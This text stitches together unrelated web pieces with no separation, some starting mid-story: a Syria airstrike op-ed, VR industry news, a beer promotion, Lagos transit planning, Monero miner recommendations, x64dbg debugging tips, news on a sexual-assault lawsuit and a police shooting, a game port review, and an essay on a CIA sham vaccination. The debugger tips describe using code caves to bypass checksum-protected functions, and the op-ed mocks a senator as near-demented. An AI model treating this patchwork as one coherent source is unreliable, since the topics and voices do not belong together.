The student has not been identified by the school and it is not clear whether he or she will face any consequences. The Harvard Law Record has actively scrubbed the student’s name from its comments section, and a transcript provided by the Harvard Program on Negotiation did not name the student. The Daily Caller noted that video of the event exists, but it has been censored to remove the offending question.
Military analysts and Syrian intervention cheerleaders maintain that limited air strikes will suffice to “degrade” Syria’s chemical weapons capabilities. Senator John McCain, as always, is among those cheerleaders. During March 2012 he was the first senator to call for air strikes on Assad’s armed forces. Now, again, a week ago McCain described the relative ease of reducing Assad’s air force and chemical weapons cache:
“There would be no boots on the ground. We would use stand-off weapons just as the Israelis have four times as they’ve taken out targets inside Syria,” McCain said. “We would not put a single life at risk.” McCain said in a “matter of a couple of days” the U.S. military could take out Syrian runways and the aircraft used by Syrian President Bashar Assad which have been dominating the battlefields.
Given McCain’s proven record of military prognostication, we know his latest thoughts on Syria are the ravings of a man on the cusp of dementia. Nevertheless, others who ought to know better by now mirror McCain’s thinking, including New York Democratic Congressman Eliot Engel:
Engel advocated for the use of surgical airstrikes, not necessarily “boots on the ground” to eliminate Syrian president Bashar al-Assad’s military advantage. “We could wipe out the Syrian air force if we wanted to,” Engel said.
That said, look due east at the map. Now, define “surgical.” Suspected chemical weapons production and development facilities exist in or near Aleppo, Idlib, Homs, and Dara, all significant population areas. Moreover, a suspected chemical weapons production site in Latakia, Syria’s major port on the Mediterranean, is home to Russian navy vessels. Most importantly, CIA suspects the home of Syria’s chemical weapons R&D sites lies just north of densely populated Damascus. All of these reside in or near important population centers. So, again, define “surgical” airstrikes in these environments.
Surgical strikes are nearly impossible within tightly populated areas. So-called collateral damage (dead and wounded civilians) is very likely, nearly inevitable. Further complicating this:
Syrian production facilities are notoriously small in comparison to other CBW facilities in other states and are difficult to conclusively identify. Presently there are four suspected [chemical weapons production] sites [see map above right]. One located just north of Damascus, and the second near the industrial city of Homs. The third, in Hama, is believed to be producing VX agents in addition to sarin and tabun, and a fourth near Cerin. Several other sites are monitored by intelligence agencies and are listed only as suspect. [See here for more]
Thus, sturdy evidence of the sites of Syrian chemical weapons production, delivery, and R&D is unlikely. Recall the incredible failures of Iraq WMD intel. Though, unlike Iraq, we know to a certainty that Syria has chemical weapons, now we’re asked to rely upon often faulty, rigged, or politicized CIA intel again. “Get thee behind me Satan. You are a stumbling block to me . . .”
In the end, successful surgical airstrikes are largely mythical. McCain and others are correct that these attacks are “stand-off” affairs. We stand-off while Syrian civilians suffer through major surgery without anesthesia. And then what? Will Assad flee? Without direct “boots on the ground” incursion by foreign forces, NATO, United States? This “surgery,” if performed, will require more and more sawbones follow-ups by Dr. Obama.
Yes, Senator McCain, we see, it’s easy after all.
In a revealing statement on Reddit, Alan Yates, a Valve employee who works closely on the company’s Lighthouse tracking system, claims that the Oculus Rift headset is largely derived from Valve’s research.
Back when Oculus launched the original Rift DK1 Kickstarter campaign in 2012, it looked as if the new company had won a formidable ally in its bid to bring virtual reality to the masses. Valve, the gaming giant behind Half Life, Portal, Steam, and much more, endorsed the project in Oculus’ campaign video, with Valve President and Owner Gabe Newell even making a rare appearance on camera saying of Oculus founder Palmer Luckey and the VR challenge “if anyone’s going to tackle this set of hard problems, we think that Palmer’s gonna do it…”
While there was collaboration early on, a rift seemed to form between the two companies following Facebook’s acquisition of Oculus in 2014. Around that same time, several key employees working on VR at Valve joined up with Oculus.
Since then, both Oculus and Valve have taken very separate paths along the road to consumer virtual reality, with any hint of that early common ground now seemingly vanished in the wake of a burgeoning battle to be the leading VR platform on PC. But that path is perhaps not as diverse as we originally thought.
Alan Yates, a Valve employee who has worked extensively on the company’s Lighthouse tracking system, has commented publicly and candidly stating that the foundation of the Oculus Rift is based on ideas lifted directly from an early research prototype that Valve had shared with Oculus. Commenting on the HTC Vive section or Reddit, Yates asserted:
While that is generally true in this case every core feature of both the Rift and Vive HMDs are directly derived from Valve’s research program. Oculus has their own CV-based tracking implementation and frensel lens design but the CV1 is otherwise a direct copy of the architecture of the 1080p Steam Sight prototype Valve lent Oculus when we installed a copy of the “Valve Room” at their headquarters. I would call Oculus the first SteamVR licensee, but history will likely record a somewhat different term for it…
The “Valve Room” Yates refers to was a proof-of-concept VR system developed by Valve which, for many who experienced it, was the tipping point in believing just immersive and important VR could become. Granted, the elaborate setup was far from consumerized.
We know that at a certain juncture in the Oculus Rift’s development, some key design changes were made. The Rift DK1’s original single display, fed with split, stereoscopic imagery seen by each eye, was one of the reasons why the headset was cheap to manufacture and offer to backers, at least in comparison to anything remotely comparable to what had come before. Its aspheric lenses too, provided the large field of view that wowed those who tried early prototypes, key to the original DK1.
Then, after multiple iterations using those key principles, across multiple publicly displayed (and presumably countless private) prototypes, in 2014 the company changed design direction quickly. The Crescent Bay prototype, which appeared at Oculus’ first developer conference ‘Connect’ in September of 2014, sported two displays (one for each eye) and a different style of lens, along with the low-persistence display technology that made its public debut on the ‘Crystal Cove’ prototype earlier that year.
Of course, during the early unofficial partnership between Oculus and Valve, much will have been exchanged between both parties, and it’s impossible to verify precisely how much cross pollination occurred.
It’s worth pointing out however that there are many more hardware factors that differentiate Oculus’ and Valve’s approach to their final consumer headset designs. The Rift’s industrial and ergonomic design alone is clearly completely divergent from HTC’s Vive for example and the inclusion of high quality headphones mounted on the Rift itself, along with a dedicated audio hardware pipeline are unique. Also, as Yates himself points out, although both the Vive and the Rift share the basic principal of Fresnel lenses, Oculus’ are entirely custom to the Rift.
Founded in Munich in 1634, the folks at Paulaner Brewery are no stranger to Oktoberfest. With deep ties to the Munich community, it’s obvious that Paulaner has a strong presence at Oktoberfest, spreading the joy of its famed Paulaner Oktoberfest Bier throughout. This year, Paulaner wants to bring some Oktoberfest joy to you, no matter where in the world you are.
Starting this Friday, September 19th and running through October 19th, you can unlock the brand new “Paulaner Oktoberfest (2014)” badge! All you have to do is check-in to two (2) of the following beers (they must be different):
To learn more about the rich history and wondrous biers of the Paulaner Brewery, check out Paulaner.com. And don’t forget to visit the Paualner USA Facebook page and vote for your favorite Paulaner Oktoberfest bier for a chance to win a trip to Munich to tour the brewery!
Federal authorities were considering whether officers Blane Salamoni and Howie Lake violated Sterling's civil rights when they responded to an anonymous caller complainant who said they had been threatened with a gun by someone matching Sterling's description in Triple S Food Mart parking lot. When they arrived, the two policemen confronted Sterling, who had long sold CDs from a table outside the store. A scuffle ensued, and cellphone video from two angles shows Sterling being shot while he was on the ground.
Police said they recovered a gun from Sterling, but the video is inconclusive as to whether he was reaching for his weapon when the officers were attempting to subdue him. Protests took place over several days, culminating in Gov. John Bel Edwards call for a federal investigation into Sterling's death, effectively removing the case from the hands of local authorities.
The debate over whether Sterling was a legitimate threat to the police continues, as does a broader discussion over whether policing policy is shaped by race in Baton Rouge and the rest of America. Attention to the issue has been especially high in jurisdictions where persons of color have died at the hands of law enforcement, in some instances where visual evidence appears to show a suspect who poses a minimal threat police or officers are using excessive force.
NOLA.com will continue to serve as one of the forums for this difficult conversation, with the hopes of fostering a dialogue that leads to solutions rather than continued conflict. For the ease and convenience of readers, comments from all current stories about the Sterling shooting will be posted below this story.
A Panama-based liquor company is producing whisky in a can. The company, Scottish Spirits, is the first to put straight whisky in a can, and it's being promoted as an option for outdoor venues, as it's light-weight and recyclable. Also because people at outdoor venues want to drink lots of whisky?
Scottish Spirits suggests splitting it between three people, because it's the size of a regular beer can. Seriously: it's twelve ounces, or eight shots worth of whisky. Which is a lot for a container that's not resealable.
No, it's not a lot for a container that's not resealable. 24-ounces, maybe. No word yet on cost or availability, but if you think I'm not gonna walk around wearing a six-pack for a belt, you've got another thing coming. Namely, a stumbling GW with his pants around his ankles asking for a chaser.
Scotch Whisky in a Can Contains Eight Shots of Liquor [eater]
Improving sustainable transport in Lagos
In 2006, the city and state government adopted the Strategic Transport Master Plan with the goal of delivering an integrated public transit system within two decades. In accordance with this plan, Lagos became the first city in Africa to implement a BRT system in 2008. Though the system does not use all the features of some BRT systems, it still has many advantages over a traditional bus system. For example, the Lagos Metropolitan Transport Authority (LAMATA) dedicated a special lane for BRT buses along 65% of the Mile 12-Ikorodu Road corridor to reduce travel time from mainland suburbs to the central business district on Lagos Island.
This BRT service has had a significant impact on transport in Lagos, and already has daily ridership of 200,000 people. Despite accounting for 25% of commuters, the BRT system contributes only 4% of all traffic. Further, the system was constructed at the relatively low cost of USD$ 1.7 million per kilometer. In comparison, Bogotá’s TransMilenio cost about USD$ 6 million per kilometer.
Lagos is building on its BRT system with investments in a range of other sustainable transport options. In a speech at last month’s Mail & Guardian conference on urban migration and renewal, Lagos Governor Babatunde Raji Fashola outlined six areas of infrastructural investment in mass transit. These included a light rail project called “Eko Rail,” a suspended cable car system, and improvements to the existing ferry system.
Investments in the ferry system aim to address Lagos’ underutilization of water as a means of transport. The ferry system currently only carries about 18,000 people, even though about one fifth of the city is made up of water in the form of lagoons, creeks and the Atlantic Ocean. Three new jetties will supplement the existing ferry infrastructure. The cable car system, meanwhile, aims to be an affordable means of transport that can reduce average journey times by up to 70 minutes each direction.
The addition of Eko Rail could further ease traffic congestion and help meet the rising demand for affordable mass transit in the metropolis. The Blue Line, which is the first of seven rail lines in the network, will be operational in 2016. Eko Rail plans to offer through-tickets for buses and will encourage transit-oriented development (TOD) around stations. When operational, Eko Rail will have the capacity to capture up to seven times as many passengers daily as the BRT system. Integration between multiple transport solutions will offer Lagosians a greater variety of mass transit options, and will improve quality of life and the ease of doing business in the city.
Mitigating and adapting to climate change through transport investments
Investments in sustainable transport are an important part of mitigating climate change. At the annual Lagos Climate Change Summit (LCCS), organized by the state government to address vulnerabilities associated with climate and environmental change, participants discussed strategies to finance sustainable transport projects such as public-private financing frameworks and financial intermediaries. For example, Lagos is partnering with the African Development Bank, which is providing a USD$ 60 million loan for the Lagos Cable Transit System and is advising the application of carbon credits from the United Nations Framework Convention on Climate Change (UNFCCC).
Improving sustainable transport options could have a significant impact on helping Lagos minimize its climate impact. The deployment of BRT, for example, has contributed to reducing carbon dioxide emissions from urban transport by 13%. Meanwhile, the light rail system will be powered by a 25MW gas-thermal power station. It will also use electric-powered cars to ensure cleaner operation.
Since most of Lagos lies 10 meters or less above sea level, infrastructural investments have also been driven by the need for climate-resilient development. When referring to improvements to existing roads a recent interview, Commissioner for Works and Infrastructure in Lagos Dr. Obafemi Hamzat noted “we are not just building roads to move cars and people, but we are also building roads to move water. Where we have outflows, where we discharge water is important to us.”
Lagos still has room to improve transport options and reduce car congestion
Wolf's CPUMiner, YAM Miner, and Claymore's CPU Miner are all meant for CPU. Some work on more operating systems than others.
Wolf's GPU miner and Claymore's GPU miner are both meant for AMD GPUs. Wolf's is open-source, and Claymore charges a mining fee but is sometimes a little bit faster.
All the ones you mentioned are about the same difficulty to use. The Monero Spelunker is the easiest to use CPU miner for Windows.
Performance for each will vary significantly depending on what cards/chips you have.
As a main developer for x64dbg, I have introduced many features to x64dbg. Some of them are highly visible. But some of them are not so visible but still worth mentioning. There are numerous features offered by x64dbg which you might not know before, or have not make good use of. This blog will introduce some of these “hidden” features and good ways to make use of them.
Code cave
A code cave enables you to alter the behaviour of the code. Traditionaly this is done in a similar way to inline hooking, or by changing the destination of a CALL or JMP instruction. However, in x64dbg you have a easier way to achieve that. It provides a “bpgoto” command. The first argument is the address of a software breakpoint. The second argument is the address of your code. It sets up a conditional expression that when it is triggered it will redirect the instruction pointer to your code. You can also set up a conditional expression manually on a hardware breakpoint to do this. This enables you to add a code cave at the critical function which is checksum-protected. Alternatively, you can in fact write your plugin to do advanced processing at the breakpoint.
Use watch window
When debugging a loop, you might first animate through the loop a few times while watching the registers carefully, and then focus on a particular piece of code where value of interest is in the register. But when the variable is stored in memory, it will have less chance to be noticed. A better way to do it is by using a watch view. You can add the variables in the watch view. In this way you can get informed of all the changes happening on the variable. An additional benefit is that a pointer will appear in the side bar if the variable is pointing to code section. You can easily understand the process of unpacking this way.
Work with snowman
Snowman is a decompiler shipped with x64dbg. It is not only useful when you want to implement the algorithm in the debuggee yourself, but also when you are trying to reverse engineer a particular function. In some way it is even more useful than the flow graph. Try renaming the variables in Snowman from addresses to meaningful names and guess the meaning for other variables. Reading a long function is not difficult and boring anymore.
Use commands and functions
There are numerous commands and functions which do not appear in the GUI, so few people may be aware of their existence. These commands are very useful though. For example, the printstack command can be put on a breakpoint so whenever the breakpoint is hit the call stack is logged. Use the mod.party expression function to quickly filter out calls from system modules. A best way to learn new commands is to read the documentation and look for any command you did not know before.
Use tracing where it works best
Tracing is an expensive operation. It is very slow compared to breakpoints. So whenever breakpoint can be used tracing should not be done. Tracing has an advantage in case you don’t know which code is going to be executed. For example, you can do a trace to see when a variable resets. If the code gets to a point every iteration, you can set a conditional breakpoint there, otherwise you can start a trace. Don’t hold the step key for more than a minute. It is more wise to let the computer do such an expensive operation for you.
Former H.W. Bush Secretary of State and White House Chief of Staff James Baker conveyed support for “the overwhelming majority of Barack Obama’s foreign policy agenda” in an interview last Wednesday night, the Texas Tribune reports.
In a lengthy interview with Evan Smith, founder of the Texas Tribune, Baker spoke on a variety of foreign affairs topics, including the border dynamic between Mexico and the Southwestern United States, the importance of the Middle East peace process, and the wars in Iraq and Afghanistan.
“There are a number of things this administration has done in foreign policy that I agree with,” Baker said when asked about Obama’s handling of international relations, particularly Iraq and Afganistan.
Baker continued, talking about Vice President Biden’s recent trip to Jerusalem during which Israel announced plans to go forward with new settlements.
“Republican and Democratic administration have always said that settlements are an obstacle to peace,” Baker said.
When asked if the timing of the announcement was an “insult” to America, Baker responded: “It was pretty close to it…there needs to be respect on both sides, we need to respect Israel and her her needs and goals and desires and she needs to respect us.”
In a lawsuit filed Thursday afternoon in Orange County, Erica Kinsman of Zephyrhills accused Winston of sexual battery, assault, false imprisonment and intentionally inflicting "emotional distress" during their December 2012 off-campus sexual encounter in Tallahassee.
The lawsuit comes after multiple investigations ended without criminal charges for Winston, who has maintained his innocence. It also comes two weeks before the first round of the NFL draft, where the Tampa Bay Buccaneers are expected to choose Winston with the No. 1 overall pick. The lawsuit isn't expected to affect that decision.
Kinsman is seeking damages in excess of $15,000 and a jury trial, alleging that Winston's conduct "went beyond all possible bounds of decency and was shocking, atrocious and utterly intolerable in a civilized society."
"Jameis Winston . . . has proven time and time again to be an entitled athlete who believes he can take what he wants," Kinsman's attorney, John Clune, said in a statement. "He took something here that he was not entitled to and he hurt someone. There are consequences for that behavior and since others have refused to hold him accountable, our client will."
Winston has never been arrested or charged with a crime because of the accusations. The State Attorney's Office declined to press charges in December 2013, citing a lack of evidence and Kinsman's "problematic" testimony.
A year later, FSU held its own hearing to determine whether Winston violated the school's code of conduct. A retired Florida Supreme Court justice, Major Harding, also chose not to charge Winston because he couldn't find the credibility of either student "substantially stronger" than the other.
Winston's attorney, David Cornwell, did not respond to multiple requests for comment, but he has previously threatened a countersuit if Kinsman filed litigation.
"With the support of her family, (Kinsman) is prepared for this fight and for the counterclaims and the smear campaigns that will surely follow," Clune said.
Thursday's suit reveals little new information about the case.
It said that the cab driver who took her, Winston and two teammates to Winston's apartment observed that she "appeared to be impaired." Once at the apartment, Kinsman says FSU defensive end Chris Casher wanted to participate in the sexual encounter and that Winston raped her, first in the bedroom, then in the bathroom.
The suit said Kinsman suffered loss of sleep, flashbacks, severe anxiety and depression, which hurt her education and her "enjoyment of life."
The Tampa Bay Times generally does not name victims or possible victims of sexual assault. But Kinsman has told her story and identified herself publicly in a documentary about sexual assaults on college campuses, The Hunting Ground.
Winston declared for the draft in January after his redshirt sophomore season. He finished his college career as one of the most accomplished players in FSU history. He compiled a 26-1 record as a starter, won the 2013 Heisman Trophy, as college football's top player, and led the Seminoles to their third national championship.
In January, Kinsman filed a federal lawsuit alleging that FSU failed to follow the gender-equity law Title IX in its actions and investigations of the case. That suit — also filed in Orange County — is scheduled for trial in August 2016. The U.S. Department of Education's Office for Civil Rights is also investigating FSU's handling of the case. Kinsman left FSU after the allegation became public in November 2013.
Thursday's lawsuit was filed in the 9th Judicial Circuit Court in Orange County, but Clune said it could be refiled in Tampa, if Winston becomes a Buccaneer.
In the visual album for Lemonade last year, we saw the American pop star as the Yoruba deity (or orisha) Oshun. Then, with her recent pregnancy announcement, there were visual references to both the Catholic Madonna and the orisha of the water, Yemoja (also known as Yemaya, Yemanjá, and Mami Wata). Many of the goddesses Beyoncé has recently referenced are of of African origin—but for last night’s Grammys, she didn’t stop there.
Here are a few of the female deities we saw Beyoncé channel last night onstage.
Oshun
Oshun—also known as Osun, Oxúm, and Ochún—is the beloved Yoruba fertility goddess who brings music and dance. She is commonly associated with fresh water, rivers, and waterfalls, and known to display human attributes such as vanity and jealousy. She wears a signature marigold-yellow dress—a signifier that was not lost on viewers of last night’s performance, or close-watchers of Lemonade.
Durga
Recording Academy/Grammys
Thanks to video effects, saffron-colored scarves, and her dancers, Beyoncé appeared to have many arms—a characteristic of many Hindu deities. While Vox (like many conspiracy theorists before) saw Kali—a fierce Hindu goddess known for her man-beheading—we also see Durga, another mother goddess, who often appears golden, with eight or ten arms to slay the haters.
Metropolitan Museum of Art The Goddess Durga as Slayer of the Buffalo-Demon Mahisha(Mahishasuramardini); Nepal; 15th century
The Virgin Mary
Reuters/Lucy Nicholson Beyoncé with child(ren).
Beyoncé’s golden halo was also an unmistakeable a reference to the Madonna (AKA the Virgin Mary) last night, as it was in her pregnancy announcement. Mary is revered for her patience and humility, and for giving birth to the baby Jesus.
Metropolitan Museum of Art I can see your halo: Madonna and Child, ca. 1480 by Vincenzo Foppa
To accept her best urban contemporary album award last night, Beyoncé wore a slightly more modest—but no less Mary-ish—headpiece: a veil resembling those that many Catholic women wear to attend mass.
Matt Sayles/Invision/AP She has a message.
Metropolitan Museum of Art Jean Auguste Dominique Ingres (French, Montauban 1780–1867 Paris)
While some may have seen Mary in the beaded veil, others may have seen the heavily embroidered head-covering of a Pakistani Muslim bride. Perhaps it’s fitting that Beyoncé’s outfit for delivering a message of tolerance and girl power was filled with multicultural references to femininity and divinity.
System requirements:
Minimum requirements:
OS: Windows Vista SP2 x64, Windows 7 x64, Windows 8 x64 (64-bit OS Required)
Processor: Core i5-4460 (3.40GHz) or better *Quad-Core or better
Memory: 4 GB RAM
Graphics: NVIDIA GeForce GTX 650 (2GB) or better (DirectX 11 graphics card required)
Hard Drive: 4 GB available space
Recommended:
OS: Windows 7 x64, Windows 8 x64 (64-bit OS Required)
Processor: Core i7-4790 (4.00GHz) or better *Quad-Core or better
Memory: 8 GB RAM
Graphics: NVIDIA GeForce GTX 760 (DirectX 11 graphics card required)
Hard Drive: 4 GB available space
Tested on:
OS: Windows 8.1 x64
Processor AMD FX 8320 (4.20GHz)
Memory: 8GB RAM
Graphics: Nvidia GeForce Gigabyte Windforce GTX 970 4GB
Drivers: Nvidia Beta 347.09
Some things to note about the minimum and recommended specs; first is that a quad core is recommended even at the lowest level. This is because the game is brilliantly multi-threaded using my 8 cores almost perfectly evenly. This works out for everyone, for Intel users with their higher performance quadcores and AMD users with their lower performance hexa/octocores.
Secondly, DirectX11 is required. While there are no features like tessellation or HDAO (at least not specified in the options menu), this may mean some people might not be able to play MGS straight off the bat and will need to upgrade. Make sure your card is compatible before purchasing the game to avoid disappointment.
Thirdly, the 4GB VRAM requirement on the minimum is almost definitely a mistake on their behalf. During my tests, just over 2GB VRAM was being used at the highest settings at 4k. On top of that, the memory usage of the game hovered very closely to an incredibly lean 1GB of RAM, so 4GB should be totally fine.
EDIT: As predicted, the 4GB VRAM requirement was a mistake and is now updated on the Steam store page. Cheers to WhiteZero for pointing this out to me.
Controls and keybinds
The first thing you'll notice when you boot the game is that the menus are controlled by the keyboard, which isn't ideal but is the worst thing you'll encounter. You can use WASD instead of the arrow keys and left mouse button or space instead of enter, meaning that despite menu navigation not being optimal, it's a non-issue. Aside from that, keyboard and mouse control (and binding) is generally good. There's no mouse acceleration and keys are fully rebindable, excluding side mouse buttons. I say it's generally good because there are occasional oversights, for example when you're interrogating an enemy, you have to hold down Q while also pressing 1, 2 or 3. Climb is bound to E and move body is bound to holding R. Again, these aren't serious issues but they're minor oddities, hopefully a patch will correct them post-launch. Aside from these small issues, I find that Snake controls really well on keyboard and mouse, even with only the 8 directions of WASD, you'll still fluidly navigate environments.
Here you can see above the mouse sensitivity options, which give you a selection between 0-10/20 depending on the setting.
Above the general keys rebinding section which includes on foot, map, weapon selection and interrogation.
Graphics settings
The graphics and display settings are well fleshed out but one option is mislabelled, screen filtering. It seems to be anti-aliasing and depth of field under one setting. With screen filtering, low seems to make no difference, high applies anti-aliasing and very high applies depth of field to Snake and his surroundings.
[compimg]http://community.pcgamingwiki.com/uploads/gallery/album_57/sml_gallery_255_57_723950.png|http://community.pcgamingwiki.com/uploads/gallery/album_57/sml_gallery_255_57_333510.png|800|450|Screen filtering: Low|Screen filtering: High[/compimg]
Field of view (FOV)
The field of view in MGS is generally quite low but isn't a major problem as you play with an over-the-shoulder camera for the majority of the time. People who are sensitive to low first person FOVs will encounter difficulty when in crawl spaces, however there is a little workaround I discovered. If you hold W and gently tap aim once (default right mouse button), the FOV will expand to a comfortable 90 degrees (see below).
[compimg]http://community.pcgamingwiki.com/uploads/gallery/album_57/gallery_255_57_1190044.png|http://community.pcgamingwiki.com/uploads/gallery/album_57/gallery_255_57_1524104.png|800|450|Standard FOV|FOV + tip[/compimg]
Image quality
In this comparison of all the general settings, we see that the main difference between low and very high is post processing effects and the amount of general items and foliage there is. So, if you have a slower PC, if you emphasis the model detail setting, you'll have a comparable experience to faster PCs.
[compimg]http://community.pcgamingwiki.com/uploads/gallery/album_57/med_gallery_255_57_999735.png|http://community.pcgamingwiki.com/uploads/gallery/album_57/med_gallery_255_57_252973.png|800|450|Image quality: Low|Image quality: High[/compimg]
First is model detail. There seems to be some primary effects of this setting, the first being the general foliage and objects placed in the scene. The second being how far away things like large rocks and portaloos are rendered, with them being completely missing on low. Third and finally, the detail of buildings and terrain. As you can see in the comparison bellow, on very high the tents get a curve to them, they have sandbags and a fence surrounding them that isn't there on low.
[compimg]http://community.pcgamingwiki.com/uploads/gallery/album_57/med_gallery_255_57_1922482.png|http://community.pcgamingwiki.com/uploads/gallery/album_57/sml_gallery_255_57_996047.png|800|450|Model detail: Low|Model detail: High[/compimg]
Next is textures. In the comparison I use a rock heavy scene, this is because I think nature is really difficult to texture well. As a lot of the base in Ground Zeroes is made of concrete and brick, it's easy to hide low resolution textures under monotone building design but you can't get away with that with rocks. As you can see, particularly the boulder to Snake's left, at very high it looks okay and the cave in front looks good. At low, the textures look particularly poor. In my testing I found that textures make no difference to frame rate and there is no reason to use anything below very high unless you don't have enough VRAM.
[compimg]http://community.pcgamingwiki.com/uploads/gallery/album_57/sml_gallery_255_57_2368116.png|http://community.pcgamingwiki.com/uploads/gallery/album_57/sml_gallery_255_57_315160.png|800|450|Textures: Low|Textures: Very high[/compimg]
Going further down on the list, next is shadows. The effect here is quite pronounced, with the shadow edge directly next to Snake losing it's sharpness. On high, shadows can be seen for a long distant and remain sharp, in contrast to low where even close shadows are very low resolution.
[compimg]http://community.pcgamingwiki.com/uploads/gallery/album_57/sml_gallery_255_57_618229.png|http://community.pcgamingwiki.com/uploads/gallery/album_57/sml_gallery_255_57_978622.png|800|450|Shadows: Low|Shadows: High[/compimg]
To show the next setting, lighting, I loaded up a night mission. There doesn't seem to be any advanced techniques like global illumination and this option just adds a lot of lights but it does look very good on max.
[compimg]http://community.pcgamingwiki.com/uploads/gallery/album_57/sml_gallery_255_57_1960625.png|http://community.pcgamingwiki.com/uploads/gallery/album_57/sml_gallery_255_57_2184689.png|800|450|Lighting: Low|Lighting: Very high[/compimg]
MGSV uses traditional SSAO methods for extra lighting effects. It's one of the few settings you can completely disable. Here you can see that the foliage off the left has a bit more contrast where light is obfuscated by leaves. Off to the right, the sandbags and barrier have a little more depth with AO on.
[compimg]http://community.pcgamingwiki.com/uploads/gallery/album_57/sml_gallery_255_57_2518432.png|http://community.pcgamingwiki.com/uploads/gallery/album_57/sml_gallery_255_57_1413632.png|800|450|Ambient occlusion: Off|Ambient occlusion: High[/compimg]
Lastly, the effects setting. The most prominent effect that this has is on the rain. On very high, the water droplets have a little transparency to them as compared to low where they just look light grey. You can see the difference much more in motion and I personally believe that very high looks great.
[compimg]http://community.pcgamingwiki.com/uploads/gallery/album_57/sml_gallery_255_57_760718.png|http://community.pcgamingwiki.com/uploads/gallery/album_57/sml_gallery_255_57_993665.png|800|450|Effects: Low|Effects: Very high[/compimg]
Performance
So, me and the team at PC Gaming Wiki encountered a tough problem with Metal Gear Solid's frame-rate. It was something that I knew immediately when I started to play it and when I brought it up with the team, a few members had different ideas on how to deal with this struggle. The problem is that the game rarely budges from 60FPS excluding one or two scenes where I experience a 5FPS drop. This is because the game has a 60FPS cap built into the engine (which is a pitfall for players with 120/144Hz monitors). One of the suggestions was to use 4k in my testing and I think that's a magnificent step forward, just the fact that I had to use 4k because standard resolutions run too well.
Testing methodology: conveniently, the intro cut-scene is one of the most demanding parts of the game, making heavy use of cinematic effects with lots of lighting, shadows and post process effects meaning it's a great benchmark. All tests were done at 4k.
First I compare the Nvidia 347.09 beta drivers to the standard 344.75WHQL drivers. The beta drivers are specifically for MGSV:GZ and Elite:Dangerous.
As you can see, the minimum FPS is high on the beta drivers but the maximum is higher on the WHQL drivers, with the average being almost completely identical. So what drivers to use is personal preference, whether you prefer a high minimum or higher maximum. I used the beta drivers for all my tests.
In the next chart, I show the general performance of all the settings.
Here you can really see the 60FPS cap coming into play at the lower end. On the higher end, take into account that is 4k on a single card with a brand new, gorgeous game. I'm personally very impressed that the average is over 30FPS.
While benchmarking all the settings, I discovered that the majority of them have virtually zero impact on the performance. The two major settings that did cause drops were screen filtering and AO.
First up is screen filtering.
There is no difference between low and off and at high the depth of field and anti-aliasing kicks in. At very high, the depth of field effect strengthens. Personally, I'd recommend the high setting instead of very high as I'm not a fan of blur.
Next is ambient occlusion.
Weirdly, there's minimal difference in performance between high and off, which is very interesting. Turning it up to very high drops the frame rate considerably and again, I recommend the high setting as a middle ground.
One of the elements that FPS graphs can't show is stuttering and I'm glad to report that I encountered virtually no stuttering through my testing and play-through. There is a few seconds of shakiness when you initially load into a game but after that, the game is very smooth, even when frame rates fluctuate.
Audio and general settings
Unfortunately, are no audio sliders anywhere in MGSV, however they do have a robust selection of languages with subtitles. Alongside the subtitle settings, there are options to disable different parts of the HUD which is great for people searching for a minimalist feel.
Conclusion
In conclusion, Metal Gear Solid V: Ground Zeroes is a phenomenal PC port. There are flaws but they are small, few and far between and easily patchable. As Kojima Production's debut game on PC, I'm impressed by the lack of crashes, the stable frame-rate and fluid controls. If anything, this goes to show that the next gen experience does not require 16GB of RAM, 4GB of VRAM and 50GB HDD space and I think that speaks volumes about the quality of production on their behalf.
The Indian government, along with the Centers for Disease Control, the World Health Organization and the volunteer ground troops of Rotary International, has been organizing these days now for most of two decades, always coming closer to the goal of eradicating polio, never quite getting there. On this day, which occurred close to the end of weeks I had spent embedded with a WHO "STOP Polio" team, 135 million children were expected to queue in cities and suburbs and rich neighborhoods and slums. I spent the day with the team I had been observing, racing in a battered turquoise Tata from neighborhood to neighborhood, trying to understand where the campaign's message was working and where its earnest persuasions had failed. (You can read my account of the day here.)
There was one neighborhood, about 15 miles outside the center of New Delhi, where things were not going well. It was a Muslim area, and the local masjids supported the campaign – all the imams had preached in favor of it – but the appeals had not penetrated. Only a few children, about 25 in a slum that held thousands, had wandered up to receive the drops and the swipe of gentian violet across a fingernail that would signal to canvassers that a child had been immunized.
A young mother selling fish in a muddy side street shrugged and dismissed the importance of her four children receiving the vaccine. In the next few days, she said, the government would send "mop up" vaccinators into the alleys to find the children who had missed the big campaign. Maybe they would find her children; maybe she would get paying work that day, and then she would be away from home, and the children too. The government's priorities were not hers.
Late that night, over whiskey-sodas served without ice because of the water quality, a longtime local health worker explained what he thought was going on. Hypothetically, protecting against polio requires four rounds of drops. But in tropical temperatures, with inadequate sanitation and endemic diarrheal diseases, it can take many more rounds of immunization to ensure a child is immune. That unplanned-for reality had combined with the longstanding distrust between Hindus and Muslims to produce a situation that no one had foreseen.
"We come back to their neighborhoods, month after month, telling them that these drops will protect their children from being paralyzed," he said. "We come 10, 11, 12 times and the kids become paralyzed anyway. They start to think we're doing this for some other reason, and they suspect us, and they don't want to bring the kids out any more."
And that is why the CIA's decision to use a fake vaccination program in the hunt for Osama Bin Laden, if that story is true, is such an appallingly, idiotically bad idea.
As reported by the Guardian and subsequently by the New York Times, intelligence operatives funded a sham vaccination program in hopes of obtaining a sample of DNA to prove that bin Laden, then rumored to be in the area, was actually living in the compound where he was subsequently found and killed. From the Guardian:
DNA from any of the Bin Laden children in the compound could be compared with a sample from his sister, who died in Boston in 2010, to provide evidence that the family was present. So agents approached [Shakil] Afridi, the health official in charge of Khyber, part of the tribal area that runs along the Afghan border. The doctor went to Abbottabad in March, saying he had procured funds to give free vaccinations for hepatitis B. Bypassing the management of the Abbottabad health services, he paid generous sums to low-ranking local government health workers, who took part in the operation without knowing about the connection to Bin Laden. Health visitors in the area were among the few people who had gained access to the Bin Laden compound in the past, administering polio drops to some of the children... In March health workers administered the vaccine in a poor neighbourhood on the edge of Abbottabad called Nawa Sher. The hepatitis B vaccine is usually given in three doses, the second a month after the first. But in April, instead of administering the second dose in Nawa Sher, the doctor returned to Abbottabad and moved the nurses on to Bilal Town, the suburb where Bin Laden lived.
There is no evidence the "vaccinations" produced DNA that helped identify bin Laden. The physician named in the article has been arrested by the Pakistani security forces. The CIA has understandably refused any comment. But the allegation that a vaccine program was not what it seemed – that it was not only suspect, but justifiably suspect – has been very widely reported.
This is awful. It plays, so precisely that it might have been scripted, into the most paranoid conspiracy theories about vaccines: that they are pointless, poisonous, covert shields for nefarious government agendas meant to do children harm.
